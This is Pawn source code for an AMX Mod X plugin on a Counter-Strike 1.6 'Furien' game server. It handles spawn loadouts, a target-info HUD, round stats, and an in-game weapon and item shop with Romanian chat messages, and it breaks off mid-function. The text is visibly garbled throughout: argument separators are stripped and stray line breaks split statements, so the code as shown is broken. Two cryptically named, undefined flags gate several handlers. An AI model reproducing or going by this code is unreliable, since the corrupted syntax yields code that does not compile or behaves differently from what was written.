update_ap(msg_idmsg_destid){
    
g_ap[id] = get_user_armor(id)
}


public 
update_target(msg_idmsg_destid){
    if(
get_msg_arg_int(1) == 2)
        
g_target[id] = get_msg_arg_int(2)
}


public 
Player_Spawn(id){
    if(!
is_user_alive(id))
        return
    
_Set(_aliveid)
}


public 
Player_Killed(id){
    
_UnSet(_aliveid)
}


public 
update_cvars(){
    
g_enabled get_pcvar_num(pc_enabled)
    
g_team_color get_pcvar_num(pc_team_color)
    
g_details get_pcvar_num(pc_details)
    
g_dead_only get_pcvar_num(pc_dead_only)
    new 
tmp[32]
    
get_pcvar_string(pc_req_flagstmp31)    
    
g_req_flags read_flags(tmp)
}


public 
client_infochanged(id){ //update name
    
get_user_info(id"name"g_name[id], 31)
}


public 
join_team(){
    static 
idteam[2]
    
id read_data(1)
    
read_data(2team1)
    switch(
team[0]){
        case 
'C'g_team[id] = 2
        
case 'T'g_team[id] = 1
        
default : g_team[id] = 0
    
}
}

/*public Forward_PlayerPreThink( id )
{
    if( !is_user_alive( id ) )
            return;
    if( !areblackpack[id] )
            return;
            
    static iButton;
    iButton = get_user_button( id );
            
    if( iButton & IN_USE )
    {
        if(!cloackinuse[id])
        {
            set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed3))
            cloackinuse[id]=1;
        }
    }
    else
    {
        if(cloackinuse[id])
        {
            set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed2))
            cloackinuse[id]=0;
        }
    }
}*/

public create_timer(){
    
g_timer_entid engfunc(EngFunc_CreateNamedEntityengfunc(EngFunc_AllocString,"info_target"))

    if(
pev_valid(g_timer_entid)){
        
set_pev(g_timer_entidpev_classname"ti_timer")
        
global_get(glb_timeg_t_time)
        
set_pev(g_timer_entidpev_nextthinkg_t_time UPDATE_INTERVAL)
        
register_forward(FM_Think"fwd_Think")
    }else{
        
log_amx("Warning: Failed to create timer entity, using task instead.")
        
set_task(UPDATE_INTERVAL"timer_cycle"TID_TIMER""0"b")
    }
}


public 
fwd_Think(Ent){
    if(
Ent != g_timer_entid)
        return 
FMRES_IGNORED
    g_t_time 
+= UPDATE_INTERVAL
    set_pev
(Entpev_nextthinkg_t_time)
    
timer_cycle()
    return 
FMRES_IGNORED
}


public 
plugin_unpause(){
    if(
pev_valid(g_timer_entid)){
        
global_get(glb_timeg_t_time)
        
g_t_time += UPDATE_INTERVAL
        set_pev
(g_timer_entidpev_nextthinkg_t_time)
    }
}


public 
timer_cycle(){
    static 
idcache[512], tarpos
    
if(!g_enabled)
        return
    for(
id 1id<=g_max_playersid++){
        if(!
_Is(_in_serverid) || (get_user_flags(id)&g_req_flags != g_req_flags))
            continue
        
tar g_target[id]  
        if(
_Is(_aliveid)){
            if(
g_dead_only)
                continue
        }else{
            if(
pev(idpev_iuser2) == g_target[id])
                
tar g_target[tar]
        }
        if(
tar == 0)
            continue
        
    if(
g_team[id] == && g_team[tar] == && areblackpack[id])
    {
            
set_hudmessage(1891111, -1.00.531_UPDATE_INTERVAL-0.10.10.1, -1)
        
//client_print(0,print_chat,"Caz 1, team id = terr team tar = ct");
    
}
    else if((
g_team[tar] == g_team[id]) || (g_team[tar] == && g_team[id] == 1))
    {
        
        
set_hudmessage(255255255, -1.00.531_UPDATE_INTERVAL-0.10.10.1, -1)
         
//client_print(0,print_chat,"Caz 2, team tar = terr team tar = tar || team tar = ct team id = 1");
    
}

    
pos formatex(cache511"%s"g_name[tar])
        if((
g_team[id] == g_team[tar]) || (g_team[id] == && areblackpack[id]))
    {
            
pos += formatex(cache[pos], 511-pos" -- %d HP / %d AP / %s"g_hp[tar], g_ap[tar], g_weap_name[g_weapon[tar]])
        
ShowSyncHudMsg(idg_HSOcache);
       }
    else if((
g_team[tar] == g_team[id]) || (g_team[tar] == && g_team[id] == 1))
    {
        
ShowSyncHudMsg(idg_HSOcache)
    }
    }
}        

public 
Player_Spawn_Postid )
{
        if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
    if( 
is_user_alive(id) )
    {
    
g_hp[id] = get_user_health(id)
    
g_ap[id] = get_user_armor(id)
        if( 
cs_get_user_team(id) == CS_TEAM_T )
        {
        
areregen[id]=0;
        if(
aregoldenak[id])
        {
            
aregoldenak[id]=0;
        }
        if(
admspec[id])
        {
            
set_pev(idpev_health0.0);
            
set_pev(idpev_deadflagDEAD_DEAD);
            
set_pdata_int(idOFFSET_TEAMTEAM_SPECLINUXDIFF)
            return 
HAM_SUPERCEDE;
        }
        else
        {
            
strip_user_weapons(id);
            
give_item(id,"weapon_knife");
            
give_item(id,"weapon_hegrenade");
            
give_item(id,"weapon_smokegrenade");
            
give_item(id,"weapon_flashbang");
            if(!
fpause)
            {
                if(
areblackpack[id])
                {
                    
set_user_gravity(idget_pcvar_float(g_pCvarGravity2))
                    
cs_set_user_modelid"blackpackff" );
                    
cs_set_user_armor(id100CS_ARMOR_VESTHELM);
                    
/*if(!crithp[id])
                    {
                        areet[id]=0;
                    }
                    else
                    {
                        areet[id]=1;
                    }*/
                
}
                else if(
aresuperknife[id])
                {
                    
cs_set_user_modelid"blackfurien" );
                    
set_user_gravity(idget_pcvar_float(g_pCvarGravity))
                }
                else
                {
                    
set_user_gravity(idget_pcvar_float(g_pCvarGravity))
                    
cs_reset_user_modelid);
                }
                
set_user_footsteps(id1)
            }
            else
            {
                
client_cmd(id,"weapon_knife");
                
set_user_rendering(idkRenderFxNone000kRenderNormal0)
            }
        }
        }
        else if(
cs_get_user_team(id) == CS_TEAM_CT)
        {
        
formeniu[id]=0;
        
areregen[id]=0;
        if(
aresuperknife[id] || areblackpack[id])
        {
            
aresuperknife[id]=0;
            
areblackpack[id]=0;
            
cs_reset_user_modelid);
        }
        if(
admspec[id])
        {
            
set_pev(idpev_health0.0);
            
set_pev(idpev_deadflagDEAD_DEAD);
            
set_pdata_int(idOFFSET_TEAMTEAM_SPECLINUXDIFF)
            return 
HAM_SUPERCEDE;
        }
        else
        {
            
set_user_footsteps(id0)
            
set_user_gravity(id1.0)
            
strip_user_weapons(id);
            if(!
aregoldenak[id])
            {
                
menu_display(idg_iMenu);
            }
            else
            {
                
give_item(id,"weapon_ak47");
                
cs_set_user_bpammo(id,CSW_AK47,250);
                if( 
get_user_weapon(id) == CSW_AK47 )
                {
                    
//_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER))
                    
set_pev(idpev_viewmodel2pak47)
                    
set_pev(idpev_weaponmodel2vak47)
                }
            }
            
give_item(id,"weapon_knife");
            if(!
fpause)
            {
                
give_item(id,"weapon_knife");
                
give_item(id,"weapon_smokegrenade");
                
give_item(id,"weapon_flashbang");
                
give_item(id,"weapon_deagle");
                
cs_set_user_bpammo(id,CSW_DEAGLE,250);
            }
        }
        if(
fpause)
        {
            
client_cmd(id,"weapon_knife");
        }
        }
    else
    {
        
user_silentkill(id);
    }
        
set_user_rendering(idkRenderFxNone000kRenderNormal0)
    }
   }
}

public 
client_putinserver(id){
    
_Set(_in_serverid)
}

public 
client_disconnect(id)
{
    
topkillscount[id]=0;
    
topdmgcount[id]=0.0;
    
_UnSet(_aliveid)
    
_UnSet(_in_serverid)
    if(
task_exists(id))
        
remove_task(id);
    
aretask[id]=0;
    
g_team[id] = 0
    g_model_selected
[id] = false
    g_corpse_made
[id] = false
}

public 
APusBomba(id)
{
    for(new 
i=1;i<=32;i++)
        
areet[i]=0;
}

public 
watfacme(id)
{
    if(!
fpause)
    {
    if(!
formeniu[id] && cs_get_user_team(id) == CS_TEAM_CT && is_user_alive(id))
    {
        if(!
aregoldenak[id])
        {
            
menu_display(idg_iMenu);
        }
        else
        {
            
menu_display(idg_iMenuG);
        }
    }
    else
    {
        if(
cs_get_user_team(id) == CS_TEAM_T)
        {
            
ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Furien!");
        }
        else if(
get_user_team(id) == 3)
        {
            
ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Spectator!");
        }
        else if(!
is_user_alive(id))
        {
            
ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti mort!");
        }
        else if(!
formeniu[id])
        {
            
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
    }
    }
    else
    {
        
ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul in runda de lame!");
    }
}

public 
checkModel(id)
{
    if ( !
aregoldenak[id] && !aresuperknife[id] && !areblackpack[id] )
        return 
PLUGIN_HANDLED
    
    
new szWeapID read_data(2)
    
    if ( 
szWeapID == CSW_AK47 && aregoldenak[id])
    {
        
set_pev(idpev_viewmodel2vak47)
        
set_pev(idpev_weaponmodel2pak47)
    }
    else if( 
szWeapID == CSW_KNIFE)
    {
        if(
aresuperknife[id])
        {
            switch(
skmod[id])
            {
                case 
0:
                {
                    
set_pev(idpev_viewmodel2knife)
                }
                case 
1:
                {
                    
set_pev(idpev_viewmodel2knife2)
                }
                case 
2:
                {
                    
set_pev(idpev_viewmodel2knife3)
                }
            }
        }
        else if(
areblackpack[id])
        {
            
set_pev(idpev_viewmodel2knifebp)
        }
    }
    return 
PLUGIN_HANDLED
}

public 
checkWeapon(id)
{
    new 
plrClipplrAmmo;
    new 
plrWeapId
    
    plrWeapId 
get_user_weapon(idplrClip plrAmmo)
    
    if (
plrWeapId == CSW_AK47 && aregoldenak[id])
    {
        
checkModel(id)
    }
    else if(
plrWeapId == CSW_KNIFE && (aresuperknife[id] || areblackpack[id]))
    {
        
checkModel(id)
    }
    else
    {
        return 
PLUGIN_CONTINUE
    
}
    return 
PLUGIN_HANDLED
}

/*public CKnife_Deploy( iKnife )
{
    new id = get_pdata_cbase(iKnife, m_pPlayer, XO_WEAPON)

    if( aresuperknife[id] )
    {
        if(!skmod[id])
        {
            (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER))
            set_pev(id, pev_viewmodel2, knife)
        }
        else if(skmod[id]==1)
        {
            (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER))
            set_pev(id, pev_viewmodel2, knife2)
        }
        else if(skmod[id]==2)
        {
            ExecuteHamB(Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER))
            set_pev(id, pev_viewmodel2, knife3)
        }
    }
        if( cs_get_user_team(iInflictor) == CS_TEAM_T && areblackpack[iInflictor] && areet[iInflictor] && iInflictor != iAttacker)
    {
        new hpbp = get_user_health(iInflictor)
        new hpdmg = get_param(3)
        client_print(0,print_chat,"Test: hpdmg = %d flDmg = %d ",hpdmg,flDamage);
        new hpleft = hpbp - hpdmg
        if(hpleft>0 && hpleft <= crithp[iInflictor])
        {
            areet[iInflictor]=0;
            set_user_origin(id, spawnpoint[iInflictor]);
            ChatColor(iInflictor,"^x04[WATF-Emergency]^x01 Ti-ai folosit teleportarea de urgenta!");
        }
    }
}

public Event_Damage( Victim )
{    
    static Attacker, AttackerWpn, VictimBodyPart
    Attacker = get_user_attacker( Victim, AttackerWpn, VictimBodyPart )
        
    static damage;
    damage = read_data( 2 )
}*/

public CBasePlayer_TakeDamage(idiInflictoriAttackerFloat:flDamagebitsDamageType)
{
        
//if(!fpause)
    //{
    
if(IsPlayer(iInflictor))
    {
        if(
aresuperknife[iAttacker] && get_user_weapon(iAttacker) == CSW_KNIFE )
        {
            
topdmgcount[iAttacker]+=flDamage*2.8;
            
SetHamParamFloat4flDamage 2.8 )
        }
        else     if(
aregoldenak[iAttacker] && get_user_weapon(iAttacker) == CSW_AK47 )
        {
            
topdmgcount[iAttacker]+=flDamage*2.0;
            
SetHamParamFloat4flDamage 2.0 )
        }
        else
        {
            
topdmgcount[iAttacker]+=flDamage;
        }
    }
}

/*public client_damage(attacker, victim, damage, wpnindex, hitplace, TA)

    if(attacker != victim)
    {
        if( cs_get_user_team(victim) == CS_TEAM_T && areblackpack[victim] && areet[victim])
        {
            new hpbp = get_user_health(victim)
            new hpleft = hpbp - damage;
            if(hpleft > 0 && hpleft <= 20 && crithp[victim])
            {
                areet[victim]=0;
                set_user_origin(victim, spawnpoint[victim]);
                set_user_health(victim,75);
                ChatColor(victim,"^x04[WATF-Emergency]^x01 Second Chance Given, 75HP granted!");
            }
        }
        //client_print(0, print_chat, "DMG: %d", damage) 
    }
}  */


public Ham_CBasePlayer_Killed_Post(id)
{
    
aresuperknife[id]=0;
    
areblackpack[id]=0;
    
aregoldenak[id]=0;
    
areregen[id]=0;
    
skmod[id]=0;
}

/*public nogaksk(id)
{
    aresuperknife[id]=0;
    aregoldenak[id]=0;
    areregen[id]=0;
}*/

public Event_DeathMsg()
{
    new 
iKiller read_data(DeathMsg_KillerID)
    new 
ids[1]
    
ids[0] = read_data(2)

    if( 
IsPlayer(iKiller) && is_user_connected(iKiller) )
    {
        new 
iVictim read_data(DeathMsg_VictimID)
        if( 
iVictim != iKiller )
        {
            
topkillscount[iKiller]++;
            if(
cs_get_user_team(iKiller) == CS_TEAM_T)
            {
                
set_task(1.0,"da400",iKiller);
                new 
kweapon[32]
                
read_data(4,kweapon,31)
                if(
aresuperknife[iKiller] && skmod[iKiller] < && equali(kweapon,"knife"))
                {
                    switch(
skmod[iKiller])
                    {
                        case 
0:    
                        {
                            
skmod[iKiller]++
                            
set_pev(iKillerpev_viewmodel2knife2)
                        }
                        case 
1:
                        {
                            
skmod[iKiller]++
                            
set_pev(iKillerpev_viewmodel2knife3)
                        }
                    }
                }
            }
            else
            {
                
set_task(1.0,"da1337",iKiller);
            }
        }
    }
}

public 
da400(iKiller)
{
    if(
is_user_connected(iKiller))
    {
        new 
banif cs_get_user_money(iKiller);
        if(
banif 100 16000)
        {
            
cs_set_user_money(iKillerbanif 100);
        }
        else
        {
            new 
setbanif 16000 banif
            cs_set_user_money
(iKillerbanif setbanif);
        }
    }
}

public 
da1337(iKiller)
{
    if(
is_user_connected(iKiller))
    {
        new 
baniaf cs_get_user_money(iKiller);
        if(
baniaf 1037 16000)
        {
            
cs_set_user_money(iKillerbaniaf 1037);
        }
        else
        {
            new 
setbaniaf 16000 baniaf
            cs_set_user_money
(iKillerbaniaf setbaniaf);
        }
    }
}

public 
watfacme2(id)
{
    
//if(!fpause)
    //{
    
if(is_user_alive(id))
    {
        if(
cs_get_user_team(id) == CS_TEAM_T)
        {
            
menu_display(idg_iMenu3);
        }
        else if(
cs_get_user_team(id) == CS_TEAM_CT)
        {
            
menu_display(idg_iMenu2);
        }
        else
        {
            
ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul!");
        }
    }
    else if(
get_user_team(id) != 3)
    {
        
ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti mort!");
    }
    else
    {
        
ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti spectator!");
    }
    
//}
}

public 
hpregen(id)
{
    if(
is_user_connected(id) && is_user_alive(id) && areregen[id])
    {
        new 
rhp[33];
        
rhp[id] = get_user_health(id)
        if(
rhp[id] < 100)
        {
            
set_user_health(idrhp[id] + 1);
        }
    }
}

public 
event_teaminfo()
{
    new 
id read_data(1)
    new 
team[2]
    
read_data(2team1)
    switch(
team[0])
    {
        case 
'T'g_team[id] = TEAM_T
        
case 'C'g_team[id] = TEAM_CT
        
case 'S'g_team[id] = TEAM_SPEC
    
}
}

public 
stay_spec(id)
{
    if(
g_team[id] != TEAM_SPEC)
    {
        
g_team[id] = TEAM_SPEC
        message_begin
(MSG_ALLget_user_msgid("TeamInfo"))
        
write_byte(id)
        
write_string("SPECTATOR")
        
message_end()
    }
}

public 
join_spec_cmd(id)
{
    new 
argv[2]
    
read_argv(1argv1)
    if(
argv[0] == '6')
        
stay_spec(id)
}

public 
join_spec_menucmd(idkey)
{
    if(
key == 5)
        
stay_spec(id)
}

public 
joined_a_team()
{
    new 
name[32]
    
read_data(3name31)
    new 
id get_user_index(name)
    
g_model_selected[id] = false
}

public 
select_a_model(id)
{
    
g_model_selected[id] = true
    
if(!g_roundend && is_admin(id))
        
set_task(1.0"delay"id)
}

public 
delay(id)
{
    if(
g_team[id] && !is_user_alive(id))
    {
        
g_corpse_made[id] = true
        free_look
(id)
    }
}

public 
hook_corpse()
{
    new 
id read_data(12)
    
g_corpse_made[id] = true
    
if(!g_roundend && is_admin(id))
        
free_look(id)
}

public 
free_look(id)
{
    if(!
g_roundend && is_admin_dead(id) && g_model_selected[id])
        
set_pdata_int(idOFFSET_TEAMTEAM_SPECLINUXDIFF)
}

public 
round_end()
{
    new 
maxid,maxk=-1numemax[32],numedmg[32],dmgid,maxdmg2,inter;
    new 
Floatmaxdmg;
    for(new 
1i<=32 i++)
    {
        if(
topkillscount[i] > maxk)
        {
            
maxid=i;
            
maxk=topkillscount[i];
        }
        if(
topdmgcount[i] > maxdmg)
        {
            
dmgid=i;
            
maxdmg=topdmgcount[i];
        }
    }
    
maxdmg2 floatround(maxdmgfloatround_floor);
    
get_user_name(maxid,numemax,31);
    
get_user_name(dmgid,numedmg,31);
    
set_hudmessage(255255255, -1.00.4006.06.00.50.151)
    if(!
maxk)
    {
        
show_hudmessage(0,"CS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!");
    }
    else
    {
        for(new 
1i<=32i++)
        {
            if(
is_user_connected(i))
            {
                
inter floatround(topdmgcount[i], floatround_floor);
                
show_hudmessage(i,"Most kills this round by %s (%d frags)!^nMost damage made by %s (%d dmg)!^nYou made this round %d frags with %d damage!^n^nCS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!",numemax,maxknumedmg,maxdmg2,topkillscount[i],inter);
            }
        }
    }
    
g_roundend true
    freelook_over
()
}

public 
new_round()
{
    for(new 
i=1i<=32i++)
    {
        
topkillscount[i]=0;
        
topdmgcount[i]=0.0;
    }
    
g_roundend false
    freelook_over
()
}

public 
freelook_over()
{
    for(new 
id 1id <= g_maxplayersid++)
    {
        if(
is_admin_dead(id) && get_pdata_int(idOFFSET_TEAMLINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id])
            
set_pdata_int(idOFFSET_TEAMg_team[id], LINUXDIFF)
        
g_corpse_made[id] = false
    
}
}


public 
HandleGunMenu(idmenuitem)
{
    
//    if(!fpause)
    //{
        
if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
    switch(
item)
    {
        case 
0
        { 
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id] )        
        {    
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_m4a1");
            
give_item(id"weapon_knife");
            
cs_set_user_bpammo(idCSW_M4A1250);
            
formeniu[id]=1;
        }
        else 
        {
        if(
formeniu[id])
            
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
        } 
        
        case 
1
        {     
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id])
        {
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_ak47");     
            
cs_set_user_bpammo(idCSW_AK47250);
            
formeniu[id]=1;
        }
        else 
        {
            if(
formeniu[id])
                
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
        } 
        
        case 
2
        { 
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id])
        {
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_mp5navy");
            
cs_set_user_bpammo(idCSW_MP5NAVY250);
            
formeniu[id]=1;
        }
        else 
        {
            if(
formeniu[id])
                
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
        } 
        
        case 
3:
        {
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id])
        {
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_famas");
            
cs_set_user_bpammo(idCSW_FAMAS250);
            
formeniu[id]=1;
        }
        else 
        {
            if(
formeniu[id])
                
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
        }
    case 
4:
    {
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id])
        {
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_galil");
            
cs_set_user_bpammo(idCSW_GALIL250);
            
formeniu[id]=1;
        }
        else 
        {
            if(
formeniu[id])
                
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
    }
    case 
5:
    {
        if(
cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id])
        {
            if(
aregoldenak[id])
            {
                if(
user_has_weapon(idCSW_AK47))
                {
                    
ham_strip_weapon(id"weapon_ak47");
                }
                
aregoldenak[id]=0;
            }
            
give_item(id"weapon_p90");
            
cs_set_user_bpammo(idCSW_P90250);
            
formeniu[id]=1;
        }
        else 
        {
            if(
formeniu[id])
                
ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!");
        }
    }    
    }  
   }
  
//}


public 
HandleGunMenu2(idmenuitem)
{
        
//if(!fpause)
    //{
        
if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)
    {
    switch(
item)
    {
        case 
0
        { 
            if(
cs_get_user_money(id) >= 9000)
            {
                if(!
aregoldenak[id])
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 9000);
                    
aregoldenak[id]=1;
                    if(
user_has_weapon(idCSW_M4A1))
                    {
                        
ham_strip_weapon(id"weapon_m4a1");
                    }
                    else if(
user_has_weapon(idCSW_AK47))
                    {
                        
ham_strip_weapon(id"weapon_ak47");
                    }
                    else if(
user_has_weapon(idCSW_MP5NAVY))
                    {
                        
ham_strip_weapon(id"weapon_mp5navy");
                    }
                    else if(
user_has_weapon(idCSW_FAMAS))
                    {
                        
ham_strip_weapon(id"weapon_famas");
                    }
                    else if(
user_has_weapon(idCSW_GALIL))
                    {
                        
ham_strip_weapon(id"weapon_galil");
                    }
                    else if(
user_has_weapon(idCSW_P90))
                    {
                        
ham_strip_weapon(id"weapon_p90");
                    }
                    
give_item(id,"weapon_ak47");
                    
cs_set_user_bpammo(id,CSW_AK47,250);
                    if( 
get_user_weapon(id) == CSW_AK47 )
                    {
                        
set_pev(idpev_viewmodel2pak47)
                        
set_pev(idpev_weaponmodel2vak47)
                    }
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Golden AK 47 cu $9000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja Golden AK 47!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Golden AK 47!");
            }
        } 
        
        case 
1
        {     
            if(
cs_get_user_money(id) >= 300)
            {
                if(!
cs_get_user_defuse(id))
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 300);
                    
cs_set_user_defuse(id1);
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Defuse Kit cu $300!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja Defuse Kit!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Defuse Kit!");
            }
        } 
        
        case 
2
        { 
            if(
cs_get_user_money(id) >= 3000)
            {
                new 
hp get_user_health(id);
                if(
hp<200)
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 3000);
                    if(
hp 50 200)
                    {
                        
set_user_health(id200);
                    }
                    else
                    {
                        
set_user_health(idhp 50);
                    }
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (200 HP)!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!");
            }
        } 
        
        case 
3:
        {
            if(
cs_get_user_money(id) >= 1000)
            {
                new 
CsArmorType:itype;
                new 
armor cs_get_user_armor(iditype)
                if(
armor<100)
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 1000);
                    if(
armor 50 100)
                    {
                        
cs_set_user_armor(id100CS_ARMOR_VESTHELM);
                    }
                    else
                    {
                        
cs_set_user_armor(id,armor 50CS_ARMOR_VESTHELM)
                    }
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 AP + Helmet cu $1000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 AP + Helmet!");
            }
        }
    
    case 
4:
    {
            if(
cs_get_user_money(id) >= 6000)
            {
                if(
is_user_alive(id))
                {
                    if(!
areregen[id])
                    {
                        new 
bani cs_get_user_money(id);
                        
cs_set_user_money(idbani 6000);
                        
areregen[id]=1;
                        if(!
aretask[id])
                        {
                            
set_task(1.0"hpregen"id""0"b")
                            
aretask[id]=1;
                        }
                        
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                        
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HP Regenerator cu $6000!");
                    
}    
                    else
                    {
                        
ChatColorid"^x04[WATF-Shop]^x01 Ai deja HP Regenerator!");
                    }
                }
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Nu poti cumpara HP Regenerator daca esti mort!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HP Regenerator!");
            }
    }    
    
    case 
5:
    {
            if(
cs_get_user_money(id) >= 3000)
            {
                if(
is_user_alive(id))
                {
                    if(
cs_get_user_bpammo(id,get_user_weapon(id)) < 250 )
                    {
                        new 
bani cs_get_user_money(id);
                        
cs_set_user_money(idbani 3000);
                        if(
cs_get_user_bpammo(id,get_user_weapon(id)) + 90 250)
                        {
                            
cs_set_user_bpammo(id,get_user_weapon(id),cs_get_user_bpammo(id,get_user_weapon(id))+90);
                        }
                        else
                        {
                            
cs_set_user_bpammo(id,get_user_weapon(id),250);
                        }
                        
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)    
                    }
                    else
                    {
                        
ChatColorid"^x04[WATF-Shop]^x01 Nu poti cumpara mai mult de 250 gloante!");
                    }
                }
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Nu poti cumpara Ammo daca esti mort!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Ammo!");
            }
    }
    }  
   }
  
//}
}  

public 
HandleGunMenu3(idmenuitem)
{
        
//if(!fpause)
    //{
    
if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T)
    {
    switch(
item)
    {
        case 
0
        { 
            if(
cs_get_user_money(id) >= 15000)
            {
                if(!
aresuperknife[id])
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 15000);
                    
aresuperknife[id]=1;
                    if( 
get_user_weapon(id) == CSW_KNIFE )
                    {
                        
set_pev(idpev_viewmodel2knife)
                    }
                    
cs_set_user_modelid"blackfurien" );
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja SuperKnife!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara SuperKnife!");
            }
        } 
        
        case 
1
        {     
            if(
cs_get_user_money(id) >= 3000)
            {
                if(
user_has_weapon(idCSW_HEGRENADE))
                    {
                    new 
hegrn cs_get_user_bpammo(idCSW_HEGRENADE);
                    if(
hegrn 2)
                    {
                        
cs_set_user_bpammo(idCSW_HEGRENADEhegrn+1);
                        new 
bani cs_get_user_money(id);
                        
cs_set_user_money(idbani 3000);
                        
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                        
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!");
                    
}
                    else
                    {
                        
ChatColorid"^x04[WATF-Shop]^x01 Ai deja numarul maxim de HE Grenade-uri permis (2 HE Grenade)!");
                    }
                }
                else
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 3000);
                    
